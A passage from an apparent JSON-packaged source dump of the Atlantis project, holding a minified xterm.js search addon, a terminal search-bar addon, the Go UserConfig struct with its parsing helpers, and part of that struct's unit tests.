0!==this._cachedSearchTerm&&e===this._cachedSearchTerm||this._highlightAllMatches(e,t));const i=this._findNextAndSelect(e,t);return this._fireResults(t),this._cachedSearchTerm=e,i}_highlightAllMatches(e,t){if(!this._terminal)throw new Error(\"Cannot use addon until it has been loaded\");if(!e||0===e.length)return void this.clearDecorations();t=t||{},this.clearDecorations(!0);const i=[];let s,r=this._find(e,0,0,t);for(;r&&((null==s?void 0:s.row)!==r.row||(null==s?void 0:s.col)!==r.col)&&!(i.length>=this._highlightLimit);)s=r,i.push(s),r=this._find(e,s.col+s.term.length>=this._terminal.cols?s.row+1:s.row,s.col+s.term.length>=this._terminal.cols?0:s.col+1,t);for(const e of i){const i=this._createResultDecoration(e,t.decorations);i&&(this._highlightedLines.add(i.marker.line),this._highlightDecorations.push({decoration:i,match:e,dispose(){i.dispose()}}))}}_find(e,t,i,s){var r;if(!this._terminal||!e||0===e.length)return null===(r=this._terminal)||void 0===r||r.clearSelection(),void this.clearDecorations();if(i>this._terminal.cols)throw new Error(`Invalid col: ${i} to search in terminal of ${this._terminal.cols} cols`);let o;this._initLinesCache();const n={startRow:t,startCol:i};if(o=this._findInLine(e,n,s),!o)for(let i=t+1;i<this._terminal.buffer.active.baseY+this._terminal.rows&&(n.startRow=i,n.startCol=0,o=this._findInLine(e,n,s),!o);i++);return o}_findNextAndSelect(e,t){var i;if(!this._terminal||!e||0===e.length)return null===(i=this._terminal)||void 0===i||i.clearSelection(),this.clearDecorations(),!1;const s=this._terminal.getSelectionPosition();this._terminal.clearSelection();let r=0,o=0;s&&(this._cachedSearchTerm===e?(r=s.end.x,o=s.end.y):(r=s.start.x,o=s.start.y)),this._initLinesCache();const n={startRow:o,startCol:r};let l=this._findInLine(e,n,t);if(!l)for(let i=o+1;i<this._terminal.buffer.active.baseY+this._terminal.rows&&(n.startRow=i,n.startCol=0,l=this._findInLine(e,n,t),!l);i++);if(!l&&0!==o)for(let i=0;i<o&&(n.startRow=i,n.startCol=0,l=this._findInLine(e,n,t),!l);i++);return!l&&s&&(n.startRow=s.start.y,n.startCol=0,l=this._findInLine(e,n,t)),this._selectResult(l,null==t?void 0:t.decorations,null==t?void 0:t.noScroll)}findPrevious(e,t){if(!this._terminal)throw new Error(\"Cannot use addon until it has been loaded\");this._lastSearchOptions=t,(null==t?void 0:t.decorations)&&(void 0!==this._cachedSearchTerm&&e===this._cachedSearchTerm||this._highlightAllMatches(e,t));const i=this._findPreviousAndSelect(e,t);return this._fireResults(t),this._cachedSearchTerm=e,i}_fireResults(e){if(null==e?void 0:e.decorations){let e=-1;if(this._selectedDecoration.value){const t=this._selectedDecoration.value.match;for(let i=0;i<this._highlightDecorations.length;i++){const s=this._highlightDecorations[i].match;if(s.row===t.row&&s.col===t.col&&s.size===t.size){e=i;break}}}this._onDidChangeResults.fire({resultIndex:e,resultCount:this._highlightDecorations.length})}}_findPreviousAndSelect(e,t){var i;if(!this._terminal)throw new Error(\"Cannot use addon until it has been loaded\");if(!this._terminal||!e||0===e.length)return null===(i=this._terminal)||void 0===i||i.clearSelection(),this.clearDecorations(),!1;const s=this._terminal.getSelectionPosition();this._terminal.clearSelection();let r=this._terminal.buffer.active.baseY+this._terminal.rows-1,o=this._terminal.cols;const n=!0;this._initLinesCache();const l={startRow:r,startCol:o};let h;if(s&&(l.startRow=r=s.start.y,l.startCol=o=s.start.x,this._cachedSearchTerm!==e&&(h=this._findInLine(e,l,t,!1),h||(l.startRow=r=s.end.y,l.startCol=o=s.end.x))),h||(h=this._findInLine(e,l,t,n)),!h){l.startCol=Math.max(l.startCol,this._terminal.cols);for(let i=r-1;i>=0&&(l.startRow=i,h=this._findInLine(e,l,t,n),!h);i--);}if(!h&&r!==this._terminal.buffer.active.baseY+this._terminal.rows-1)for(let i=this._terminal.buffer.active.baseY+this._terminal.rows-1;i>=r&&(l.startRow=i,h=this._findInLine(e,l,t,n),!h);i--);return this._selectResult(h,null==t?void 0:t.decorations,null==t?void 0:t.noScroll)}_initLinesCache(){const e=this._terminal;this._linesCache||(this._linesCache=new Array(e.buffer.active.length),this._cursorMoveListener=e.onCursorMove((()=>this._destroyLinesCache())),this._resizeListener=e.onResize((()=>this._destroyLinesCache()))),window.clearTimeout(this._linesCacheTimeoutId),this._linesCacheTimeoutId=window.setTimeout((()=>this._destroyLinesCache()),15e3)}_destroyLinesCache(){this._linesCache=void 0,this._cursorMoveListener&&(this._cursorMoveListener.dispose(),this._cursorMoveListener=void 0),this._resizeListener&&(this._resizeListener.dispose(),this._resizeListener=void 0),this._linesCacheTimeoutId&&(window.clearTimeout(this._linesCacheTimeoutId),this._linesCacheTimeoutId=0)}_isWholeWord(e,t,i){return(0===e||o.includes(t[e-1]))&&(e+i.length===t.length||o.includes(t[e+i.length]))}_findInLine(e,t,i={},s=!1){var r;const o=this._terminal,n=t.startRow,l=t.startCol,h=o.buffer.active.getLine(n);if(null==h?void 0:h.isWrapped)return s?void(t.startCol+=o.cols):(t.startRow--,t.startCol+=o.cols,this._findInLine(e,t,i));let a=null===(r=this._linesCache)||void 0===r?void 0:r[n];a||(a=this._translateBufferLineToStringWithWrap(n,!0),this._linesCache&&(this._linesCache[n]=a));const[c,d]=a,_=this._bufferColsToStringOffset(n,l),u=i.caseSensitive?e:e.toLowerCase(),f=i.caseSensitive?c:c.toLowerCase();let g=-1;if(i.regex){const t=RegExp(u,\"g\");let i;if(s)for(;i=t.exec(f.slice(0,_));)g=t.lastIndex-i[0].length,e=i[0],t.lastIndex-=e.length-1;else i=t.exec(f.slice(_)),i&&i[0].length>0&&(g=_+(t.lastIndex-i[0].length),e=i[0])}else s?_-u.length>=0&&(g=f.lastIndexOf(u,_-u.length)):g=f.indexOf(u,_);if(g>=0){if(i.wholeWord&&!this._isWholeWord(g,f,e))return;let t=0;for(;t<d.length-1&&g>=d[t+1];)t++;let s=t;for(;s<d.length-1&&g+e.length>=d[s+1];)s++;const r=g-d[t],l=g+e.length-d[s],h=this._stringLengthToBufferSize(n+t,r);return{term:e,col:h,row:n+t,size:this._stringLengthToBufferSize(n+s,l)-h+o.cols*(s-t)}}}_stringLengthToBufferSize(e,t){const i=this._terminal.buffer.active.getLine(e);if(!i)return 0;for(let e=0;e<t;e++){const s=i.getCell(e);if(!s)break;const r=s.getChars();r.length>1&&(t-=r.length-1);const o=i.getCell(e+1);o&&0===o.getWidth()&&t++}return t}_bufferColsToStringOffset(e,t){const i=this._terminal;let s=e,r=0,o=i.buffer.active.getLine(s);for(;t>0&&o;){for(let e=0;e<t&&e<i.cols;e++){const t=o.getCell(e);if(!t)break;t.getWidth()&&(r+=0===t.getCode()?1:t.getChars().length)}if(s++,o=i.buffer.active.getLine(s),o&&!o.isWrapped)break;t-=i.cols}return r}_translateBufferLineToStringWithWrap(e,t){var i;const s=this._terminal,r=[],o=[0];let n=s.buffer.active.getLine(e);for(;n;){const l=s.buffer.active.getLine(e+1),h=!!l&&l.isWrapped;let a=n.translateToString(!h&&t);if(h&&l){const e=n.getCell(n.length-1);e&&0===e.getCode()&&1===e.getWidth()&&2===(null===(i=l.getCell(0))||void 0===i?void 0:i.getWidth())&&(a=a.slice(0,-1))}if(r.push(a),!h)break;o.push(o[o.length-1]+a.length),e++,n=l}return[r.join(\"\"),o]}_selectResult(e,t,i){const s=this._terminal;if(this._selectedDecoration.clear(),!e)return s.clearSelection(),!1;if(s.select(e.col,e.row,e.size),t){const i=s.registerMarker(-s.buffer.active.baseY-s.buffer.active.cursorY+e.row);if(i){const o=s.registerDecoration({marker:i,x:e.col,width:e.size,backgroundColor:t.activeMatchBackground,layer:\"top\",overviewRulerOptions:{color:t.activeMatchColorOverviewRuler}});if(o){const s=[];s.push(i),s.push(o.onRender((e=>this._applyStyles(e,t.activeMatchBorder,!0)))),s.push(o.onDispose((()=>(0,r.disposeArray)(s)))),this._selectedDecoration.value={decoration:o,match:e,dispose(){o.dispose()}}}}}if(!i&&(e.row>=s.buffer.active.viewportY+s.rows||e.row<s.buffer.active.viewportY)){let t=e.row-s.buffer.active.viewportY;t-=Math.floor(s.rows/2),s.scrollLines(t)}return!0}_applyStyles(e,t,i){e.classList.contains(\"xterm-find-result-decoration\")||(e.classList.add(\"xterm-find-result-decoration\"),t&&(e.style.outline=`1px solid ${t}`)),i&&e.classList.add(\"xterm-find-active-result-decoration\")}_createResultDecoration(e,t){const i=this._terminal,s=i.registerMarker(-i.buffer.active.baseY-i.buffer.active.cursorY+e.row);if(!s)return;const o=i.registerDecoration({marker:s,x:e.col,width:e.size,backgroundColor:t.matchBackground,overviewRulerOptions:this._highlightedLines.has(s.line)?void 0:{color:t.matchOverviewRuler,position:\"center\"}});if(o){const e=[];e.push(s),e.push(o.onRender((e=>this._applyStyles(e,t.matchBorder,!1)))),e.push(o.onDispose((()=>(0,r.disposeArray)(e))))}return o}}e.SearchAddon=n})(),s})()));\n//# sourceMappingURL=xterm-addon-search.js.map"
  },
  {
    "path": "server/static/js/xterm-addon-search-bar.js",
    "content": "!(function (e, t) {\n  \"object\" == typeof exports && \"undefined\" != typeof module\n    ? t(exports)\n    : \"function\" == typeof define && define.amd\n    ? define([\"exports\"], t)\n    : t((e.SearchBarAddon = {}));\n})(this, function (e) {\n  \"use strict\";\n  !(function (e, t) {\n    void 0 === t && (t = {});\n    var a = t.insertAt;\n    if (e && \"undefined\" != typeof document) {\n      var i = document.head || document.getElementsByTagName(\"head\")[0],\n        n = document.createElement(\"style\");\n      (n.type = \"text/css\"),\n        \"top\" === a && i.firstChild\n          ? i.insertBefore(n, i.firstChild)\n          : i.appendChild(n),\n        n.styleSheet\n          ? (n.styleSheet.cssText = e)\n          : n.appendChild(document.createTextNode(e));\n    }\n  })(\n    `.xterm-search-bar__addon{position:absolute;max-width:1467px;top:0;right:28px;color:#000;background:#fff;\n        padding:5px 10px;box-shadow:0 2px 8px #000;background-color:#252526;z-index:999;display:flex}.xterm-search-bar__addon \n      .search-bar__input{background-color:#3c3c3c;color:#ccc;border:0;margin-bottom:0px;padding:2px;height:20px;width:227px}.xterm-search-bar__addon\n      .search-bar__btn{min-width:20px;width:20px;height:20px;display:flex;display:-webkit-flex;flex:initial;background-position:50%;\n        margin-left:3px;margin-bottom:0px;background-repeat:no-repeat;background-color:#252526;border:0;cursor:pointer;padding: 0}.xterm-search-bar__addon\n      .search-bar__btn:hover{background-color:#666}.xterm-search-bar__addon .search-bar__btn.prev{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgZmlsbD0iI2ZmZiI+PHBhdGggZD0iTTUuNCA4YS42LjYgMCAwMS4xNzYtLjQyNGw0LTRhLjU5OC41OTggMCAwMS44NDggMCAuNTk4LjU5OCAwIDAxMCAuODQ4TDYuODQ5IDhsMy41NzUgMy41NzZhLjU5OC41OTggMCAwMTAgLjg0OC41OTguNTk4IDAgMDEtLjg0OCAwbC00LTRBLjYuNiAwIDAxNS40IDgiLz48L3N2Zz4=\")}.xterm-search-bar__addon\n      .search-bar__btn.next{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgZmlsbD0iI2ZmZiI+PHBhdGggZD0iTTEwLjYgOGEuNi42IDAgMDEtLjE3Ni40MjRsLTQgNGEuNTk4LjU5OCAwIDAxLS44NDggMCAuNTk4LjU5OCAwIDAxMC0uODQ4TDkuMTUxIDggNS41NzYgNC40MjRhLjU5OC41OTggMCAwMTAtLjg0OC41OTguNTk4IDAgMDEuODQ4IDBsNCA0QS42LjYgMCAwMTEwLjYgOCIvPjwvc3ZnPg==\")}.xterm-search-bar__addon\n      .search-bar__btn.close{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMiIgaGVpZ2h0PSIxMiIgZmlsbD0iI2ZmZiI+PHBhdGggZD0iTTcgNmwyLTJhLjcxMS43MTEgMCAwMDAtMSAuNzExLjcxMSAwIDAwLTEgMEw2IDUgNCAzYS43MTEuNzExIDAgMDAtMSAwIC43MTEuNzExIDAgMDAwIDFsMiAyLTIgMmEuNzExLjcxMSAwIDAwMCAxIC43MTEuNzExIDAgMDAxIDBsMi0yIDIgMmEuNzExLjcxMSAwIDAwMSAwIC43MTEuNzExIDAgMDAwLTFMNyA2eiIvPjwvc3ZnPg==\")}`\n  );\n  const t = \"xterm-search-bar__addon\";\n  (e.SearchBarAddon = class {\n    constructor(e) {\n      (this.options = e || {}),\n        this.options &&\n          this.options.searchAddon &&\n          (this.searchAddon = this.options.searchAddon);\n    }\n    activate(e) {\n      (this.terminal = e), this.searchAddon;\n    }\n    dispose() {\n      this.hidden();\n    }\n    show() {\n      if (!this.terminal || !this.terminal.element) return;\n      if (this.searchBarElement)\n        return (\n          (this.searchBarElement.style.visibility = \"visible\"),\n          void this.searchBarElement.querySelector(\"input\").select()\n        );\n      this.terminal.element.style.position = \"relative\";\n      const e = document.createElement(\"div\");\n      (e.innerHTML =\n        `<input type=\"text\" class=\"search-bar__input\" name=\"search-bar__input\"/>\n         <button class=\"search-bar__btn prev\"></button>\n         <button class=\"search-bar__btn next\"></button>\n         <button class=\"search-bar__btn close\"></button>`),\n        (e.className = t);\n      const a = this.terminal.element.parentElement;\n      (this.searchBarElement = e),\n/*        [\"relative\", \"absolute\", \"fixed\"].includes(a.style.position) ||\n          (a.style.position = \"relative\"),*/\n        a.appendChild(this.searchBarElement),\n        this.on(\".search-bar__btn.close\", \"click\", () => {\n          this.hidden();\n        }),\n        this.on(\".search-bar__btn.next\", \"click\", () => {\n          this.searchAddon.findNext(this.searchKey, { incremental: !1 });\n        }),\n        this.on(\".search-bar__btn.prev\", \"click\", () => {\n          this.searchAddon.findPrevious(this.searchKey, { incremental: !1 });\n        }),\n        this.on(\".search-bar__input\", \"keyup\", (e) => {\n          (this.searchKey = e.target.value),\n            this.searchAddon.findNext(this.searchKey, {\n              incremental: \"Enter\" !== e.key,\n            });\n        }),\n        this.searchBarElement.querySelector(\"input\").select();\n    }\n    hidden() {\n      this.searchBarElement &&\n        this.terminal.element.parentElement &&\n        (this.searchBarElement.style.visibility = \"hidden\");\n    }\n    on(e, t, a) {\n      const i = this.terminal.element.parentElement;\n      i.addEventListener(t, (t) => {\n        let n = t.target;\n        for (; n !== document.querySelector(e); ) {\n          if (n === i) {\n            n = null;\n            break;\n          }\n          n = n.parentElement;\n        }\n        n === document.querySelector(e) &&\n          (a.call(this, t), t.stopPropagation());\n      });\n    }\n    addNewStyle(e) {\n      let a = document.getElementById(t);\n      a ||\n        (((a = document.createElement(\"style\")).type = \"text/css\"),\n        (a.id = t),\n        document.getElementsByTagName(\"head\")[0].appendChild(a)),\n        a.appendChild(document.createTextNode(e));\n    }\n  }),\n    Object.defineProperty(e, \"__esModule\", { value: !0 });\n});\n"
  },
  {
    "path": "server/user_config.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage server\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n)\n\n// UserConfig holds config values passed in by the user.\n// The mapstructure tags correspond to flags in cmd/server.go and are used when\n// the config is parsed from a YAML file.\ntype UserConfig struct {\n\tAllowForkPRs                bool   `mapstructure:\"allow-fork-prs\"`\n\tAllowCommands               string `mapstructure:\"allow-commands\"`\n\tAtlantisURL                 string `mapstructure:\"atlantis-url\"`\n\tAutoDiscoverModeFlag        string `mapstructure:\"autodiscover-mode\"`\n\tAutomerge                   bool   `mapstructure:\"automerge\"`\n\tAutoplanFileList            string `mapstructure:\"autoplan-file-list\"`\n\tAutoplanModules             bool   `mapstructure:\"autoplan-modules\"`\n\tAutoplanModulesFromProjects string `mapstructure:\"autoplan-modules-from-projects\"`\n\tAzureDevopsToken            string `mapstructure:\"azuredevops-token\"`\n\tAzureDevopsUser             string `mapstructure:\"azuredevops-user\"`\n\tAzureDevopsWebhookPassword  string `mapstructure:\"azuredevops-webhook-password\"`\n\tAzureDevopsWebhookUser      string `mapstructure:\"azuredevops-webhook-user\"`\n\tAzureDevOpsHostname         string `mapstructure:\"azuredevops-hostname\"`\n\tBitbucketApiUser            string `mapstructure:\"bitbucket-api-user\"`\n\tBitbucketBaseURL            string `mapstructure:\"bitbucket-base-url\"`\n\tBitbucketToken              string `mapstructure:\"bitbucket-token\"`\n\tBitbucketUser               string `mapstructure:\"bitbucket-user\"`\n\tBitbucketWebhookSecret      string `mapstructure:\"bitbucket-webhook-secret\"`\n\tCheckoutDepth               int    `mapstructure:\"checkout-depth\"`\n\tCheckoutStrategy            string `mapstructure:\"checkout-strategy\"`\n\tDataDir                     string `mapstructure:\"data-dir\"`\n\tDisableApplyAll             bool   `mapstructure:\"disable-apply-all\"`\n\tDisableAutoplan             bool   `mapstructure:\"disable-autoplan\"`\n\tDisableAutoplanLabel        string `mapstructure:\"disable-autoplan-label\"`\n\tDisableMarkdownFolding      bool   `mapstructure:\"disable-markdown-folding\"`\n\tDisableRepoLocking          bool   `mapstructure:\"disable-repo-locking\"`\n\tDisableGlobalApplyLock      bool   `mapstructure:\"disable-global-apply-lock\"`\n\tDisableUnlockLabel          string `mapstructure:\"disable-unlock-label\"`\n\tDiscardApprovalOnPlanFlag   bool   `mapstructure:\"discard-approval-on-plan\"`\n\tEmojiReaction               string `mapstructure:\"emoji-reaction\"`\n\tEnablePolicyChecksFlag      bool   `mapstructure:\"enable-policy-checks\"`\n\tEnableRegExpCmd             bool   `mapstructure:\"enable-regexp-cmd\"`\n\tEnableProfilingAPI          bool   `mapstructure:\"enable-profiling-api\"`\n\tEnableDiffMarkdownFormat    bool   `mapstructure:\"enable-diff-markdown-format\"`\n\tExecutableName              string `mapstructure:\"executable-name\"`\n\t// Fail and do not run the Atlantis command request if any of the pre workflow hooks error.\n\tFailOnPreWorkflowHookError      bool   `mapstructure:\"fail-on-pre-workflow-hook-error\"`\n\tHideUnchangedPlanComments       bool   `mapstructure:\"hide-unchanged-plan-comments\"`\n\tGithubAllowMergeableBypassApply bool   `mapstructure:\"gh-allow-mergeable-bypass-apply\"`\n\tGithubHostname                  string `mapstructure:\"gh-hostname\"`\n\tGithubToken                     string `mapstructure:\"gh-token\"`\n\tGithubTokenFile                 string `mapstructure:\"gh-token-file\"`\n\tGithubUser                      string `mapstructure:\"gh-user\"`\n\tGithubWebhookSecret             string `mapstructure:\"gh-webhook-secret\"`\n\tGithubOrg                       string `mapstructure:\"gh-org\"`\n\tGithubAppID                     int64  `mapstructure:\"gh-app-id\"`\n\tGithubAppKey                    string `mapstructure:\"gh-app-key\"`\n\tGithubAppKeyFile                string `mapstructure:\"gh-app-key-file\"`\n\tGithubAppSlug                   string `mapstructure:\"gh-app-slug\"`\n\tGithubAppInstallationID         int64  `mapstructure:\"gh-app-installation-id\"`\n\tGithubTeamAllowlist             string `mapstructure:\"gh-team-allowlist\"`\n\tGiteaBaseURL                    string `mapstructure:\"gitea-base-url\"`\n\tGiteaToken                      string `mapstructure:\"gitea-token\"`\n\tGiteaUser                       string `mapstructure:\"gitea-user\"`\n\tGiteaWebhookSecret              string `mapstructure:\"gitea-webhook-secret\"`\n\tGiteaPageSize                   int    `mapstructure:\"gitea-page-size\"`\n\tGitlabHostname                  string `mapstructure:\"gitlab-hostname\"`\n\tGitlabGroupAllowlist            string `mapstructure:\"gitlab-group-allowlist\"`\n\tGitlabToken                     string `mapstructure:\"gitlab-token\"`\n\tGitlabUser                      string `mapstructure:\"gitlab-user\"`\n\tGitlabWebhookSecret             string `mapstructure:\"gitlab-webhook-secret\"`\n\tGitlabStatusRetryEnabled        bool   `mapstructure:\"gitlab-status-retry-enabled\"`\n\tIncludeGitUntrackedFiles        bool   `mapstructure:\"include-git-untracked-files\"`\n\tAPISecret                       string `mapstructure:\"api-secret\"`\n\tHidePrevPlanComments            bool   `mapstructure:\"hide-prev-plan-comments\"`\n\tLockingDBType                   string `mapstructure:\"locking-db-type\"`\n\tLogLevel                        string `mapstructure:\"log-level\"`\n\tMarkdownTemplateOverridesDir    string `mapstructure:\"markdown-template-overrides-dir\"`\n\tMaxCommentsPerCommand           int    `mapstructure:\"max-comments-per-command\"`\n\tIgnoreVCSStatusNames            string `mapstructure:\"ignore-vcs-status-names\"`\n\tParallelPoolSize                int    `mapstructure:\"parallel-pool-size\"`\n\tParallelPlan                    bool   `mapstructure:\"parallel-plan\"`\n\tParallelApply                   bool   `mapstructure:\"parallel-apply\"`\n\tPendingApplyStatus              bool   `mapstructure:\"pending-apply-status\"`\n\tStatsNamespace                  string `mapstructure:\"stats-namespace\"`\n\tPlanDrafts                      bool   `mapstructure:\"allow-draft-prs\"`\n\tPort                            int    `mapstructure:\"port\"`\n\tQuietPolicyChecks               bool   `mapstructure:\"quiet-policy-checks\"`\n\tRedisDB                         int    `mapstructure:\"redis-db\"`\n\tRedisHost                       string `mapstructure:\"redis-host\"`\n\tRedisPassword                   string `mapstructure:\"redis-password\"`\n\tRedisPort                       int    `mapstructure:\"redis-port\"`\n\tRedisTLSEnabled                 bool   `mapstructure:\"redis-tls-enabled\"`\n\tRedisInsecureSkipVerify         bool   `mapstructure:\"redis-insecure-skip-verify\"`\n\tRepoConfig                      string `mapstructure:\"repo-config\"`\n\tRepoConfigJSON                  string `mapstructure:\"repo-config-json\"`\n\tRepoAllowlist                   string `mapstructure:\"repo-allowlist\"`\n\n\t// SilenceNoProjects is whether Atlantis should respond to a PR if no projects are found.\n\tSilenceNoProjects   bool `mapstructure:\"silence-no-projects\"`\n\tSilenceForkPRErrors bool `mapstructure:\"silence-fork-pr-errors\"`\n\t// SilenceVCSStatusNoPlans is whether autoplan should set commit status if no plans\n\t// are found.\n\tSilenceVCSStatusNoPlans bool `mapstructure:\"silence-vcs-status-no-plans\"`\n\t// SilenceVCSStatusNoProjects is whether autoplan should set commit status if no projects\n\t// are found.\n\tSilenceVCSStatusNoProjects bool            `mapstructure:\"silence-vcs-status-no-projects\"`\n\tSilenceAllowlistErrors     bool            `mapstructure:\"silence-allowlist-errors\"`\n\tSkipCloneNoChanges         bool            `mapstructure:\"skip-clone-no-changes\"`\n\tSlackToken                 string          `mapstructure:\"slack-token\"`\n\tSSLCertFile                string          `mapstructure:\"ssl-cert-file\"`\n\tSSLKeyFile                 string          `mapstructure:\"ssl-key-file\"`\n\tRestrictFileList           bool            `mapstructure:\"restrict-file-list\"`\n\tTFDistribution             string          `mapstructure:\"tf-distribution\"` // deprecated in favor of DefaultTFDistribution\n\tTFDownload                 bool            `mapstructure:\"tf-download\"`\n\tTFDownloadURL              string          `mapstructure:\"tf-download-url\"`\n\tTFEHostname                string          `mapstructure:\"tfe-hostname\"`\n\tTFELocalExecutionMode      bool            `mapstructure:\"tfe-local-execution-mode\"`\n\tTFEToken                   string          `mapstructure:\"tfe-token\"`\n\tVarFileAllowlist           string          `mapstructure:\"var-file-allowlist\"`\n\tVCSStatusName              string          `mapstructure:\"vcs-status-name\"`\n\tDefaultTFDistribution      string          `mapstructure:\"default-tf-distribution\"`\n\tDefaultTFVersion           string          `mapstructure:\"default-tf-version\"`\n\tWebhooks                   []WebhookConfig `mapstructure:\"webhooks\" flag:\"false\"`\n\tWebhookHttpHeaders         string          `mapstructure:\"webhook-http-headers\"`\n\tWebBasicAuth               bool            `mapstructure:\"web-basic-auth\"`\n\tWebUsername                string          `mapstructure:\"web-username\"`\n\tWebPassword                string          `mapstructure:\"web-password\"`\n\tWriteGitCreds              bool            `mapstructure:\"write-git-creds\"`\n\tWebsocketCheckOrigin       bool            `mapstructure:\"websocket-check-origin\"`\n\tUseTFPluginCache           bool            `mapstructure:\"use-tf-plugin-cache\"`\n}\n\n// ToAllowCommandNames parse AllowCommands into a slice of CommandName\nfunc (u UserConfig) ToAllowCommandNames() ([]command.Name, error) {\n\tvar allowCommands []command.Name\n\tvar hasAll bool\n\tfor input := range strings.SplitSeq(u.AllowCommands, \",\") {\n\t\tif input == \"\" {\n\t\t\tcontinue\n\t\t}\n\t\tif input == \"all\" {\n\t\t\thasAll = true\n\t\t\tcontinue\n\t\t}\n\t\tcmd, err := command.ParseCommandName(input)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tallowCommands = append(allowCommands, cmd)\n\t}\n\tif hasAll {\n\t\treturn command.AllCommentCommands, nil\n\t}\n\treturn allowCommands, nil\n}\n\n// ToWebhookHttpHeaders parses WebhookHttpHeaders into a map of HTTP headers.\nfunc (u UserConfig) ToWebhookHttpHeaders() (map[string][]string, error) {\n\tif u.WebhookHttpHeaders == \"\" {\n\t\treturn nil, nil\n\t}\n\n\tvar m map[string]any\n\terr := json.Unmarshal([]byte(u.WebhookHttpHeaders), &m)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\theaders := make(map[string][]string)\n\tfor name, rawValue := range m {\n\t\tswitch val := rawValue.(type) {\n\t\tcase []any:\n\t\t\tfor _, v := range val {\n\t\t\t\ts, ok := v.(string)\n\t\t\t\tif !ok {\n\t\t\t\t\treturn nil, fmt.Errorf(\"expected string array element, got %T\", v)\n\t\t\t\t}\n\t\t\t\theaders[name] = append(headers[name], s)\n\t\t\t}\n\t\tcase string:\n\t\t\theaders[name] = []string{val}\n\t\tdefault:\n\t\t\treturn nil, fmt.Errorf(\"expected string or array, got %T\", val)\n\t\t}\n\t}\n\treturn headers, nil\n}\n\n// ToLogLevel returns the LogLevel object corresponding to the user-passed\n// log level.\nfunc (u UserConfig) ToLogLevel() logging.LogLevel {\n\tswitch u.LogLevel {\n\tcase \"debug\":\n\t\treturn logging.Debug\n\tcase \"info\":\n\t\treturn logging.Info\n\tcase \"warn\":\n\t\treturn logging.Warn\n\tcase \"error\":\n\t\treturn logging.Error\n\t}\n\treturn logging.Info\n}\n"
  },
  {
    "path": "server/user_config_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage server_test\n\nimport (\n\t\"errors\"\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestUserConfig_ToAllowCommandNames(t *testing.T) {\n\ttests := []struct {\n\t\tname          string\n\t\tallowCommands string\n\t\twant          []command.Name\n\t\twantErr       string\n\t}{\n\t\t{\n\t\t\tname:          \"full commands can be parsed by comma\",\n\t\t\tallowCommands: \"apply,plan,cancel,unlock,policy_check,approve_policies,version,import,state\",\n\t\t\twant: []command.Name{\n\t\t\t\tcommand.Apply, command.Plan, command.Cancel, command.Unlock, command.PolicyCheck, command.ApprovePolicies, command.Version, command.Import, command.State,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname:          \"all\",\n\t\t\tallowCommands: \"all\",\n\t\t\twant: []command.Name{\n\t\t\t\tcommand.Version, command.Plan, command.Apply, command.Cancel, command.Unlock, command.ApprovePolicies, command.Import, command.State,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname:          \"all with others returns same with all result\",\n\t\t\tallowCommands: \"all,plan\",\n\t\t\twant: []command.Name{\n\t\t\t\tcommand.Version, command.Plan, command.Apply, command.Cancel, command.Unlock, command.ApprovePolicies, command.Import, command.State,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname:          \"empty\",\n\t\t\tallowCommands: \"\",\n\t\t\twant:          nil,\n\t\t},\n\t\t{\n\t\t\tname:          \"invalid command\",\n\t\t\tallowCommands: \"plan,all,invalid\",\n\t\t\twantErr:       \"unknown command name: invalid\",\n\t\t},\n\t\t{\n\t\t\tname:          \"invalid command\",\n\t\t\tallowCommands: \"invalid,plan,all\",\n\t\t\twantErr:       \"unknown command name: invalid\",\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tu := server.UserConfig{\n\t\t\t\tAllowCommands: tt.allowCommands,\n\t\t\t}\n\t\t\tgot, err := u.ToAllowCommandNames()\n\t\t\tif err != nil {\n\t\t\t\trequire.ErrorContains(t, err, tt.wantErr, \"ToAllowCommandNames()\")\n\t\t\t}\n\t\t\tassert.Equalf(t, tt.want, got, \"ToAllowCommandNames()\")\n\t\t})\n\t}\n}\n\nfunc TestUserConfig_ToWebhookHttpHeaders(t *testing.T) {\n\ttcs := []struct {\n\t\tname  string\n\t\tgiven string\n\t\twant  map[string][]string\n\t\terr   error\n\t}{\n\t\t{\n\t\t\tname:  \"empty\",\n\t\t\tgiven: \"\",\n\t\t\twant:  nil,\n\t\t},\n\t\t{\n\t\t\tname:  \"happy path\",\n\t\t\tgiven: `{\"Authorization\":\"Bearer some-token\",\"X-Custom-Header\":[\"value1\",\"value2\"]}`,\n\t\t\twant: map[string][]string{\n\t\t\t\t\"Authorization\":   {\"Bearer some-token\"},\n\t\t\t\t\"X-Custom-Header\": {\"value1\", \"value2\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname:  \"invalid json\",\n\t\t\tgiven: `{\"X-Custom-Header\":true}`,\n\t\t\terr:   errors.New(\"expected string or array, got bool\"),\n\t\t},\n\t\t{\n\t\t\tname:  \"invalid json array element\",\n\t\t\tgiven: `{\"X-Custom-Header\":[1, 2]}`,\n\t\t\terr:   errors.New(\"expected string array element, got 